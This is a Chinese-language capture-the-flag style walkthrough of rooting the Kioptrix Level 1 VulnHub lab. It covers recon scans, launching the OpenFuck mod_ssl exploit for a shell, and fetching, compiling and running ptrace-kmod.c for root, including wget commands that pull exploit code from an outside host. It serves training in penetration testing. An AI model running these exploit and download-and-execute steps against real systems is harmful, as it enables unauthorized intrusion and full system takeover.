Vulnhub之Kioptix Level 1靶机详细测试过程
Kioptix Level 1
作者：jason_huawen
靶机基本信息
名称：Kioptrix: Level 1 (#1)
地址：
https://www.vulnhub.com/entry/kioptrix-level-1-1,22/
提示：
识别目标主机IP地址
─(root💀kali)-[~/vulnhub/Kio_1]
└─# netdiscover -i eth1 -r 10.1.0.0/16
Currently scanning: 10.1.58.0/16 | Screen View: Unique Hosts
5 Captured ARP Req/Rep packets, from 3 hosts. Total size: 300
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
10.1.1.1 00:50:56:c0:00:01 2 120 VMware, Inc.
10.1.1.129 00:0c:29:8c:8d:e9 2 120 VMware, Inc.
10.1.1.254 00:50:56:f6:e5:92 1 60 VMware, Inc.
利用Kali Linux自带的Netdiscover工具识别目标主机的IP地址为10.1.1.129
NMAP扫描
利用NMAP工具对目标主机进行全端口扫描：
┌──(root💀kali)-[~/vulnhub/Kio_1]
└─# nmap -sS -sV -sC -p- 10.1.1.129 -oN nmap_full_scan 130 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2022-12-04 08:13 EST
Nmap scan report for localhost (10.1.1.129)
Host is up (0.0040s latency).
Not shown: 65529 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 32768/tcp status
|_ 100024 1 32770/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T09:32:06
|_Not valid after: 2010-09-26T09:32:06
|_ssl-date: 2022-12-04T14:12:16+00:00; +57m37s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
|_ SSL2_RC4_64_WITH_MD5
32768/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:8C:8D:E9 (VMware)
Host script results:
|_clock-skew: 57m36s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.54 seconds
NMAP扫描结果表明目标主机开放端口：22（SSH）、80（HTTP）、443（HTTPS）、139（SMB)、111（RPC）、32768（RPC）。
获得Shell
先看一下SMB服务：
┌──(root💀kali)-[~/vulnhub/Kio_1]
└─# smbclient -L 10.1.1.129
protocol negotiation failed: NT_STATUS_IO_TIMEOUT
┌──(root💀kali)-[~/vulnhub/Kio_1]
└─# smbclient -L 10.1.1.129 1 ⨯
protocol negotiation failed: NT_STATUS_IO_TIMEOUT
发现无法通过smblcient连接目标主机，再来看80端口和443端口，先用Nikto工具扫描一下目标主机：
┌──(root💀kali)-[~/vulnhub/Kio_1]
└─# nikto -h 10.1.1.129 1 ⨯
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.1.1.129
+ Target Hostname: 10.1.1.129
+ Target Port: 80
+ Start Time: 2022-12-04 08:19:01 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
+ Server may leak inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep 5 23:12:46 2001
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OpenSSL/0.9.6b appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and 0.9.8zc are also current.
+ Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ mod_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
+ OSVDB-27487: Apache is vulnerable to XSS via the Expect header
+ OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
+ OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
+ OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542.
+ mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082, OSVDB-756.
+ Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS).
+ OSVDB-3268: /manual/: Directory indexing found.
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /icons/: Directory indexing found.
+ ERROR: Error limit (20) reached for host, giving up. Last error: error reading HTTP response
+ Scan terminated: 20 error(s) and 19 item(s) reported on remote host
+ End Time: 2022-12-04 08:25:55 (GMT-5) (414 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Nikto扫描结果发现目标站点的mod_ssl模块有缓冲区溢出漏洞，利用Kali linux的searchploit查询一下相关利用代码,一共有3个，也不知道哪个好用，全部将其拷贝至工作目录：
┌──(root💀kali)-[~/vulnhub/Kio_1]
└─# searchsploit mod_ssl 2.8.4
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1) | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) | unix/remote/47080.c
---------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(root💀kali)-[~/vulnhub/Kio_1]
└─# searchsploit -m unix/remote/21671.c
Exploit: Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow
URL: https://www.exploit-db.com/exploits/21671
Path: /usr/share/exploitdb/exploits/unix/remote/21671.c
File Type: C source, ASCII text, with very long lines, with CRLF line terminators
Copied to: /root/vulnhub/Kio_1/21671.c
┌──(root💀kali)-[~/vulnhub/Kio_1]
└─# searchsploit -m unix/remote/764.c
Exploit: Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1)
URL: https://www.exploit-db.com/exploits/764
Path: /usr/share/exploitdb/exploits/unix/remote/764.c
File Type: C source, ASCII text, with CRLF line terminators
Copied to: /root/vulnhub/Kio_1/764.c
┌──(root💀kali)-[~/vulnhub/Kio_1]
└─# searchsploit -m unix/remote/47080.cn
Exploit: Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)
URL: https://www.exploit-db.com/exploits/47080
Path: /usr/share/exploitdb/exploits/unix/remote/47080.c
File Type: C source, ASCII text, with CRLF line terminators
Copied to: /root/vulnhub/Kio_1/47080.c
┌──(root💀kali)-[~/vulnhub/Kio_1]
└─# ls
21671.c 47080.c 764.c nmap_full_scan
将所有相关代码拷贝至工作目录，逐一进行编译，发现只有47080.c可以被正确编译：
┌──(root💀kali)-[~/vulnhub/Kio_1]
└─# ./OpenFuck_47080 130 ⨯
*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
: Usage: ./OpenFuck_47080 target box [port] [-c N]
target - supported box eg: 0x00
box - hostname or IP address
port - port for ssl connection
-c open N connections. (use range 40-50 if u dont know)
Supported OffSet:
0x00 - Caldera OpenLinux (apache-1.3.26)
0x01 - Cobalt Sun 6.0 (apache-1.3.12)
0x02 - Cobalt Sun 6.0 (apache-1.3.20)
0x03 - Cobalt Sun x (apache-1.3.26)
0x04 - Cobalt Sun x Fixed2 (apache-1.3.26)
0x05 - Conectiva 4 (apache-1.3.6)
0x06 - Conectiva 4.1 (apache-1.3.9)
0x07 - Conectiva 6 (apache-1.3.14)
0x08 - Conectiva 7 (apache-1.3.12)
0x09 - Conectiva 7 (apache-1.3.19)
0x0a - Conectiva 7/8 (apache-1.3.26)
0x0b - Conectiva 8 (apache-1.3.22)
0x0c - Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)
0x0d - Debian GNU Linux (apache_1.3.19-1)
0x0e - Debian GNU Linux (apache_1.3.22-2)
0x0f - Debian GNU Linux (apache-1.3.22-2.1)
0x10 - Debian GNU Linux (apache-1.3.22-5)
0x11 - Debian GNU Linux (apache_1.3.23-1)
0x12 - Debian GNU Linux (apache_1.3.24-2.1)
0x13 - Debian Linux GNU Linux 2 (apache_1.3.24-2.1)
0x14 - Debian GNU Linux (apache_1.3.24-3)
0x15 - Debian GNU Linux (apache-1.3.26-1)
0x16 - Debian GNU Linux 3.0 Woody (apache-1.3.26-1)
0x17 - Debian GNU Linux (apache-1.3.27)
0x18 - FreeBSD (apache-1.3.9)
0x19 - FreeBSD (apache-1.3.11)
0x1a - FreeBSD (apache-1.3.12.1.40)
0x1b - FreeBSD (apache-1.3.12.1.40)
0x1c - FreeBSD (apache-1.3.12.1.40)
0x1d - FreeBSD (apache-1.3.12.1.40_1)
0x1e - FreeBSD (apache-1.3.12)
0x1f - FreeBSD (apache-1.3.14)
0x20 - FreeBSD (apache-1.3.14)
0x21 - FreeBSD (apache-1.3.14)
0x22 - FreeBSD (apache-1.3.14)
0x23 - FreeBSD (apache-1.3.14)
0x24 - FreeBSD (apache-1.3.17_1)
0x25 - FreeBSD (apache-1.3.19)
0x26 - FreeBSD (apache-1.3.19_1)
0x27 - FreeBSD (apache-1.3.20)
0x28 - FreeBSD (apache-1.3.20)
0x29 - FreeBSD (apache-1.3.20+2.8.4)
0x2a - FreeBSD (apache-1.3.20_1)
0x2b - FreeBSD (apache-1.3.22)
0x2c - FreeBSD (apache-1.3.22_7)
0x2d - FreeBSD (apache_fp-1.3.23)
0x2e - FreeBSD (apache-1.3.24_7)
0x2f - FreeBSD (apache-1.3.24+2.8.8)
0x30 - FreeBSD 4.6.2-Release-p6 (apache-1.3.26)
0x31 - FreeBSD 4.6-Realease (apache-1.3.26)
0x32 - FreeBSD (apache-1.3.27)
0x33 - Gentoo Linux (apache-1.3.24-r2)
0x34 - Linux Generic (apache-1.3.14)
0x35 - Mandrake Linux X.x (apache-1.3.22-10.1mdk)
0x36 - Mandrake Linux 7.1 (apache-1.3.14-2)
0x37 - Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)
0x38 - Mandrake Linux 7.2 (apache-1.3.14-2mdk)
0x39 - Mandrake Linux 7.2 (apache-1.3.14) 2
0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)
0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)
0x3c - Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)
0x3d - Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)
0x3e - Mandrake Linux 8.0 (apache-1.3.19-3)
0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)
0x40 - Mandrake Linux 8.2 (apache-1.3.23-4)
0x41 - Mandrake Linux 8.2 #2 (apache-1.3.23-4)
0x42 - Mandrake Linux 8.2 (apache-1.3.24)
0x43 - Mandrake Linux 9 (apache-1.3.26)
0x44 - RedHat Linux ?.? GENERIC (apache-1.3.12-1)
0x45 - RedHat Linux TEST1 (apache-1.3.12-1)
0x46 - RedHat Linux TEST2 (apache-1.3.12-1)
0x47 - RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)
0x48 - RedHat Linux 4.2 (apache-1.1.3-3)
0x49 - RedHat Linux 5.0 (apache-1.2.4-4)
0x4a - RedHat Linux 5.1-Update (apache-1.2.6)
0x4b - RedHat Linux 5.1 (apache-1.2.6-4)
0x4c - RedHat Linux 5.2 (apache-1.3.3-1)
0x4d - RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)
0x4e - RedHat Linux 6.0 (apache-1.3.6-7)
0x4f - RedHat Linux 6.0 (apache-1.3.6-7)
0x50 - RedHat Linux 6.0-Update (apache-1.3.14-2.6.2)
0x51 - RedHat Linux 6.0 Update (apache-1.3.24)
0x52 - RedHat Linux 6.1 (apache-1.3.9-4)1
0x53 - RedHat Linux 6.1 (apache-1.3.9-4)2
0x54 - RedHat Linux 6.1-Update (apache-1.3.14-2.6.2)
0x55 - RedHat Linux 6.1-fp2000 (apache-1.3.26)
0x56 - RedHat Linux 6.2 (apache-1.3.12-2)1
0x57 - RedHat Linux 6.2 (apache-1.3.12-2)2
0x58 - RedHat Linux 6.2 mod(apache-1.3.12-2)3
0x59 - RedHat Linux 6.2 update (apache-1.3.22-5.6)1
0x5a - RedHat Linux 6.2-Update (apache-1.3.22-5.6)2
0x5b - Redhat Linux 7.x (apache-1.3.22)
0x5c - RedHat Linux 7.x (apache-1.3.26-1)
0x5d - RedHat Linux 7.x (apache-1.3.27)
0x5e - RedHat Linux 7.0 (apache-1.3.12-25)1
0x5f - RedHat Linux 7.0 (apache-1.3.12-25)2
0x60 - RedHat Linux 7.0 (apache-1.3.14-2)
0x61 - RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)
0x62 - RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)
0x63 - RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)
0x64 - RedHat Linux 7.1 (apache-1.3.19-5)1
0x65 - RedHat Linux 7.1 (apache-1.3.19-5)2
0x66 - RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)
0x67 - RedHat Linux 7.1-Update (1.3.22-5.7.1)
0x68 - RedHat Linux 7.1 (apache-1.3.22-src)
0x69 - RedHat Linux 7.1-Update (1.3.27-1.7.1)
0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
0x6c - RedHat Linux 7.2-Update (apache-1.3.22-6)
0x6d - RedHat Linux 7.2 (apache-1.3.24)
0x6e - RedHat Linux 7.2 (apache-1.3.26)
0x6f - RedHat Linux 7.2 (apache-1.3.26-snc)
0x70 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)1
0x71 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)2
0x72 - RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)
0x73 - RedHat Linux 7.3 (apache-1.3.23-11)1
0x74 - RedHat Linux 7.3 (apache-1.3.23-11)2
0x75 - RedHat Linux 7.3 (apache-1.3.27)
0x76 - RedHat Linux 8.0 (apache-1.3.27)
0x77 - RedHat Linux 8.0-second (apache-1.3.27)
0x78 - RedHat Linux 8.0 (apache-2.0.40)
0x79 - Slackware Linux 4.0 (apache-1.3.6)
0x7a - Slackware Linux 7.0 (apache-1.3.9)
0x7b - Slackware Linux 7.0 (apache-1.3.26)
0x7c - Slackware 7.0 (apache-1.3.26)2
0x7d - Slackware Linux 7.1 (apache-1.3.12)
0x7e - Slackware Linux 8.0 (apache-1.3.20)
0x7f - Slackware Linux 8.1 (apache-1.3.24)
0x80 - Slackware Linux 8.1 (apache-1.3.26)
0x81 - Slackware Linux 8.1-stable (apache-1.3.26)
0x82 - Slackware Linux (apache-1.3.27)
0x83 - SuSE Linux 7.0 (apache-1.3.12)
0x84 - SuSE Linux 7.1 (apache-1.3.17)
0x85 - SuSE Linux 7.2 (apache-1.3.19)
0x86 - SuSE Linux 7.3 (apache-1.3.20)
0x87 - SuSE Linux 8.0 (apache-1.3.23)
0x88 - SUSE Linux 8.0 (apache-1.3.23-120)
0x89 - SuSE Linux 8.0 (apache-1.3.23-137)
0x8a - Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)
Fuck to all guys who like use lamah ddos. Read SRC to have no surprise
由于目标主机的apche版本为1.3.20,所以target参数选择0x6b，不行再选择0x6a
──(root💀kali)-[~/vulnhub/Kio_1]
└─# ./OpenFuck_47080 0x6b 10.1.1.129 443 -c 41 130 ⨯
*******************************************************************
* OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena irc.brasnet.org *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************
Connection... 41 of 41
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f8050
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo
--09:40:05-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443...
dl.packetstormsecurity.net: Host not found.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./exploit: No such file or directory
bash-2.05$
bash-2.05$
虽然得到了shell,但是看代码执行过程中显示有个脚本ptrace-kmod.c没有执行成功，是因为这个代码需要到互联网上下载，而因为我将靶机的网络模式改为host-only,所以无法下载，因此可以手动将ptrace-kmod.cd下载到Kali Linux本地，然后上传至目标主机：
bash-2.05$ wget http://10.1.1.128:8000/ptrace-kmod.c
wget http://10.1.1.128:8000/ptrace-kmod.c
--09:43:33-- http://10.1.1.128:8000/ptrace-kmod.c
=> `ptrace-kmod.c'
Connecting to 10.1.1.128:8000... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]
0K ... 100% @ 3.74 MB/s
09:43:33 (3.74 MB/s) - `ptrace-kmod.c' saved [3921/3921]
bash-2.05$ ls
ls
ptrace-kmod.c
将ptrace-kmod.c上传至目标主机的/tmp目录后（可在kali linux启动web)
bash-2.05$ gcc -o exploit ptrace-kmod.c
gcc -o exploit ptrace-kmod.c
bash-2.05$ ls
ls
exploit
ptrace-kmod.c
bash-2.05$ chmod +x exploit
chmod +x exploit
bash-2.05$ ./exploit
./exploit
[+] Attached to 6079
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
cd /root
ls -alh
total 12k
drwxr-x--- 2 root root 1.0k Sep 26 2009 .
drwxr-xr-x 19 root root 1.0k Dec 4 09:08 ..
-rw-r--r-- 1 root root 1.1k Aug 23 1995 .Xresources
-rw------- 1 root root 147 Oct 12 2009 .bash_history
-rw-r--r-- 1 root root 24 Jun 10 2000 .bash_logout
-rw-r--r-- 1 root
成功得到了root shell
STRIVE FOR PROGRESS,NOT FOR PERFECTION
